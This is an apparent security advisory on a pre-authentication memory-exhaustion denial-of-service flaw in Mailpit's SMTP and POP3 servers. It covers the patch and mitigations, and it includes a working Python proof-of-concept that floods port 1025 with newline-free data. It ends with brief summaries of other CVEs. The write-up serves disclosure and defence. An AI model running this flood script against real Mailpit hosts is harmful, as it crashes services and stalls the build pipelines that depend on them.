Sep 3, 2026·6 min read·20 visits
Unauthenticated remote attackers can exhaust system memory and crash Mailpit by streaming long commands without a newline character to the SMTP or POP3 ports.
An uncontrolled resource consumption vulnerability in Mailpit versions prior to 1.30.4 allows remote, unauthenticated attackers to cause a denial of service (DoS) by sending unbounded command lines to the SMTP and POP3 servers. This memory exhaustion condition bypasses maximum message size limits.
Mailpit is an open-source email testing tool and API designed for developer environments. It features built-in SMTP and POP3 servers to capture and test email traffic locally. The vulnerability CVE-2026-67445 exists within the command-handling parsers of both protocol interfaces prior to version 1.30.4.
This flaw is classified under CWE-400 (Uncontrolled Resource Consumption). It allows network-adjacent or remote attackers to bypass resource limitations before protocol parsing or authentication is enforced. Because these services are commonly run without restrictive firewalls in local development or test suites, the attack surface is substantial.
The denial-of-service condition directly impacts system availability. Since Mailpit is frequently integrated into automated continuous integration and continuous deployment pipelines, a crash in the mail daemon often stalls active software build verification processes.
The underlying technical flaw stems from Mailpit's reliance on Go's standard library bufio.Reader.ReadString('\n') inside internal/smtpd/smtpd.go and internal/pop3/server.go. This method continuously reads data from the network connection into heap-allocated memory until it encounters a newline delimiter byte.
According to SMTP and POP3 standards (RFC 5321 and RFC 1939), command lines must not exceed 512 and 255 octets respectively. Mailpit does implement checks to enforce these size ceilings. However, in vulnerable versions, this length validation occurs within downstream parsing functions such as session.parseLine(), only after the full command line has already been read and allocated.
An attacker can open a socket and stream a continuous sequence of characters without transmitting a newline byte. The bufio.Reader continually resizes and expands the target byte slice on the heap. Because this occurs prior to entering the email body transmission phase, standard protections like MaxMessageSize are completely bypassed, leading to out-of-memory crashes.
We can analyze the patch flow to understand how Mailpit mitigated this uncontrolled buffer allocation vulnerability.
In the vulnerable implementation, the command parsing loop utilized unbounded reads on a default-sized buffer, facilitating memory growth. The maintainers corrected this behavior in release 1.30.4 by implementing fixed-size buffer limits. In the POP3 handler (internal/pop3/server.go), the patch limits the reader size explicitly and validates the read state using ReadLine:
// PATCHED
reader := bufio.NewReaderSize(conn, 512)
...
lineBytes, isPrefix, err := reader.ReadLine()
...
if isPrefix {
// Command line exceeds RFC 1939's 255-octet limit; drain and reject.
for isPrefix {
_, isPrefix, err = reader.ReadLine()
if err != nil {
return
}
}
sendResponse(conn, "-ERR line too long")
continue
}The corresponding fix was applied to the SMTP session parser (internal/smtpd/smtpd.go). Instead of reading indefinitely via ReadString, the patched system restricts the SMTP input buffer to 2048 bytes:
// PATCHED
s.br = bufio.NewReaderSize(conn, 2048)
...
lineBytes, isPrefix, err := s.br.ReadLine()
if err != nil {
return "", err
}
if isPrefix {
// The command line exceeds the reader buffer; drain the remainder then reject.
for isPrefix {
_, isPrefix, err = s.br.ReadLine()
if err != nil {
return "", err
}
}
return "", errLineTooLong
}When isPrefix returns true, it signifies that the network buffer limit was reached before a newline delimiter was encountered. The updated logic avoids heap exhaustion by loop-draining the remaining data off the socket and discarding it, returning an error response without allocating additional memory.
Exploitation of CVE-2026-67445 requires minimal protocol-level compliance and zero authentication. An attacker must simply establish a standard TCP connection to either the SMTP port (default 1025) or the POP3 port (default 1110) and transmit a long byte sequence without sending the newline character (\n).
The execution is reliable because it targets Go's low-level heap memory allocation mechanics. An attacker can stream several megabytes of dummy characters. Multiple concurrent connections running this process will exhaust the virtual memory allocated to the Mailpit container or VM, prompting the kernel's Out-Of-Memory (OOM) killer to terminate the daemon.
A single-threaded python script can illustrate the memory allocation behavior on vulnerable targets:
import socket
import time
target_host = "127.0.0.1"
target_port = 1025
large_chunk = b"A" * 1024 * 1024 # 1 MB block
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target_host, target_port))
banner = s.recv(1024)
# Stream 128 MB of data slowly without a newline character
for _ in range(128):
s.sendall(large_chunk)
time.sleep(0.01)
s.sendall(b"\n")
s.close()
except ConnectionResetError:
print("Connection closed - Target system likely crashed or depleted memory")The direct impact of CVE-2026-67445 is classified as moderate, yielding a CVSS score of 5.3. This represents a complete Denial of Service (DoS) of the Mailpit binary. Because Mailpit does not self-recover from OOM terminations, manual or automated process restarts are required to restore service availability.
The vulnerability is highly accessible because it exists in the pre-authentication phase of both the SMTP and POP3 processes. Therefore, anyone who can reach the open port on the network can trigger the memory exhaustion. This makes exposing Mailpit instances to the public internet highly risky.
No data disclosure or execution of unauthorized operations is associated with this vulnerability. The risk is limited to service availability, rendering this a localized but highly reliable denial of service threat.
The recommended remediation is upgrading Mailpit to version 1.30.4 or higher. This update properly addresses the memory leak by dropping connection lines exceeding 2048 bytes for SMTP and 512 bytes for POP3.
For systems where an immediate patch is impossible, deploy local network-level restrictions. Ensure that the Mailpit SMTP and POP3 ports are strictly restricted to localhost or trusted internal networks. Implement security groups or iptables rules to drop connections originating from untrusted hosts.
Additionally, you can leverage container orchestrators like Docker or Kubernetes to limit resource consumption. Enforce strict memory limits (e.g., --memory="512m") on the Mailpit container. Combine this with container restart policies to automatically bring the service back online if an OOM event occurs.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
mailpit axllent | < 1.30.4 | 1.30.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-400 |
| Attack Vector | Network |
| CVSS | 5.3 |
| EPSS | 0.00371 (30.14th percentile) |
| Impact | Denial of Service (DoS) |
| Exploit Status | Proof of Concept (PoC) available |
| KEV Status | Not Listed |
The software does not properly control the allocation and maintenance of a limited resource, enabling an actor to influence the amount of resources consumed, eventually leading to exhaustion of available resources.
An LDAP injection vulnerability exists in the centraldogma-server-auth-shiro module of LY Corporation Central Dogma before version 0.84.0. The search logic dynamically constructs LDAP search filters by interpolating user-provided usernames without escaping RFC 4515 metacharacters. Unauthenticated remote attackers can leverage this flaw to bypass authentication, enumerate directory hierarchies, and access unauthorized resources.
CVE-2026-11746 is a critical vulnerability in Central Dogma Server prior to version 0.84.0, where an embedded ZooKeeper replication secret silently falls back to a publicly known, hard-coded default string ('ch4n63m3'). Remote attackers with access to the replication network can authenticate as legitimate cluster peers, potentially leading to unauthorized data exposure, state manipulation, or complete cluster takeover.
A logical verification flaw in ZITADEL's external JWT Identity Provider validation allows attackers to bypass session expiration checks. If an incoming JWT lacks the 'exp' claim, the system skips validation entirely, creating an indefinitely valid session. This issue has been addressed in versions 3.4.12 and 4.15.2.
CVE-2026-59149 identifies a directory traversal vulnerability in `@mockoon/commons-server`, the backend mock-server library powering the Mockoon application. The flaw occurs in the path containment validation logic used during raw file response generation. An unauthenticated attacker can exploit this weakness to retrieve arbitrary files from sibling directories sharing a common prefix with the designated static base directory.
An in-depth analysis of CVE-2026-59148, a high-severity flaw in Mockoon where unauthenticated administrative endpoints and a wildcard Cross-Origin Resource Sharing (CORS) policy allow remote execution, state poisoning, and credential theft.
An improper authentication vulnerability (CWE-287) in ZITADEL's external identity provider handler before version 4.15.3 allows remote attackers to perform complete account takeover. When auto-linking by email is enabled, ZITADEL verifies that the local target account has a verified email address but fails to verify if the external provider confirmed ownership of that same email. Attackers can exploit this by registering an unverified account with a victim's email address on a permissive external provider, leading to unauthorized account binding and persistent access.